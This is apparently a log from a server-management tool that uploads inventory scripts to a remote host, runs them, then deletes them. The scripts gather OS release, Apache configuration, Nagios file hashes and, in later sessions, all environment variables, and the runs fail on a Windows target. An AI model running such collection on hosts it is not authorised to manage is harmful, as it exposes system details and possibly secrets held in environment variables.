#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-02 11:22:04:
chmod 755 /tmp/pkp989954; /tmp/pkp989954; rm /tmp/pkp989954
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:23:50: Establishing a remote connection
2026-01-02 11:23:51: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:23:51: guest operating system:
2026-01-02 11:23:51:
PUT: /tmp/pkp150211
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:23:51:
chmod 755 /tmp/pkp150211; /tmp/pkp150211; rm /tmp/pkp150211
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:23:52:
PUT: /tmp/pkp743716
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-02 11:23:52:
chmod 755 /tmp/pkp743716; /tmp/pkp743716; rm /tmp/pkp743716
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:23:53:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2026-01-02 11:23:53:
PUT: /tmp/pkp652974
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:23:53:
chmod 755 /tmp/pkp652974; /tmp/pkp652974; rm /tmp/pkp652974
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:23:54:
PUT: /tmp/pkp851236
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-02 11:23:54:
chmod 755 /tmp/pkp851236; /tmp/pkp851236; rm /tmp/pkp851236
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:30:10: Establishing a remote connection
2026-01-02 11:30:11: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:30:11: guest operating system: WINNT
2026-01-02 11:30:11:
PUT: /tmp/pkp229192
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:30:11:
chmod 755 /tmp/pkp229192; /tmp/pkp229192; rm /tmp/pkp229192
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:30:12:
PUT: /tmp/pkp120628
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-02 11:30:12:
chmod 755 /tmp/pkp120628; /tmp/pkp120628; rm /tmp/pkp120628
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:30:13:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2026-01-02 11:30:13:
PUT: /tmp/pkp866392
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:30:13:
chmod 755 /tmp/pkp866392; /tmp/pkp866392; rm /tmp/pkp866392
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:30:14:
PUT: /tmp/pkp877039
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-02 11:30:14:
chmod 755 /tmp/pkp877039; /tmp/pkp877039; rm /tmp/pkp877039
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:35:56: Establishing a remote connection
2026-01-02 11:35:57: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:35:57: guest operating system: WINNT
2026-01-02 11:35:57: GetServerStatus: WINNT
2026-01-02 11:35:57:
PUT: /tmp/pkp371120
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:35:57:
chmod 755 /tmp/pkp371120; /tmp/pkp371120; rm /tmp/pkp371120
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:35:58:
PUT: /tmp/pkp144484
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-02 11:35:58:
chmod 755 /tmp/pkp144484; /tmp/pkp144484; rm /tmp/pkp144484
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:35:59:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2026-01-02 11:35:59:
PUT: /tmp/pkp908115
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:35:59:
chmod 755 /tmp/pkp908115; /tmp/pkp908115; rm /tmp/pkp908115
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:36:00:
PUT: /tmp/pkp953654
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-02 11:36:00:
chmod 755 /tmp/pkp953654; /tmp/pkp953654; rm /tmp/pkp953654
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:37:59: Establishing a remote connection
2026-01-02 11:37:59: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:37:59: guest operating system: WINNT
2026-01-02 11:37:59:
PUT: /tmp/pkp500985
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:37:59:
chmod 755 /tmp/pkp500985; /tmp/pkp500985; rm /tmp/pkp500985
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:38:00:
PUT: /tmp/pkp715029
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-02 11:38:00:
chmod 755 /tmp/pkp715029; /tmp/pkp715029; rm /tmp/pkp715029
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:38:01:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2026-01-02 11:38:01:
PUT: /tmp/pkp444981
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:38:01:
chmod 755 /tmp/pkp444981; /tmp/pkp444981; rm /tmp/pkp444981
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:38:02:
PUT: /tmp/pkp495833
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-02 11:38:02:
chmod 755 /tmp/pkp495833; /tmp/pkp495833; rm /tmp/pkp495833
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:38:50: Establishing a remote connection
2026-01-02 11:38:51: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:38:51: guest operating system: WINNT
2026-01-02 11:38:51:
PUT: /tmp/pkp453065
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:38:51:
chmod 755 /tmp/pkp453065; /tmp/pkp453065; rm /tmp/pkp453065
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:38:52:
PUT: /tmp/pkp633635
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-02 11:38:52:
chmod 755 /tmp/pkp633635; /tmp/pkp633635; rm /tmp/pkp633635
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:38:53:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2026-01-02 11:38:53:
PUT: /tmp/pkp899361
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:38:53:
chmod 755 /tmp/pkp899361; /tmp/pkp899361; rm /tmp/pkp899361
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:38:54:
PUT: /tmp/pkp170359
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-02 11:38:54:
chmod 755 /tmp/pkp170359; /tmp/pkp170359; rm /tmp/pkp170359
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:39:32: Establishing a remote connection
2026-01-02 11:39:32: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:39:32: guest operating system: WINNT
2026-01-02 11:39:32:
PUT: /tmp/pkp315820
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 11:39:32:
chmod 755 /tmp/pkp315820; /tmp/pkp315820; rm /tmp/pkp315820
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:46:59: Establishing a remote connection
2026-01-02 11:47:00: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:47:00: guest operating system: WINNT
2026-01-02 11:47:00:
PUT: C:\Windows\TEMP\pkp392624
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 11:47:00:
C:\Windows\TEMP\pkp392624
STDERR:
'C:\Windows\TEMP\pkp392624' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 12:08:26: Establishing a remote connection
2026-01-02 12:08:27: incoming ValStatus: ["1","WINNT"]
2026-01-02 12:08:27: guest operating system: WINNT
2026-01-02 12:08:27:
PUT: C:\Windows\TEMP\pkp934115
#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 12:08:27:
C:\Windows\TEMP\pkp934115
STDERR:
'C:\Windows\TEMP\pkp934115' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 12:21:53: Establishing a remote connection
2026-01-02 12:21:54:
PUT: C:\Windows\TEMP\pkp765592
#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 12:21:54:
C:\Windows\TEMP\pkp765592
2026-01-02 13:49:05: Establishing a remote connection
2026-01-02 13:49:11: Establishing a remote connection
2026-01-02 13:49:12:
PUT: \pkp730581
#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 13:49:12:
\pkp730581
2026-01-02 13:55:23: Establishing a remote connection
2026-01-02 13:55:23:
PUT: \pkp357375
#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 13:55:23:
\pkp357375
2026-01-02 14:02:26: Establishing a remote connection
2026-01-02 14:02:27: installid not present
2026-01-02 14:02:59: Establishing a remote connection
2026-01-02 14:02:59:
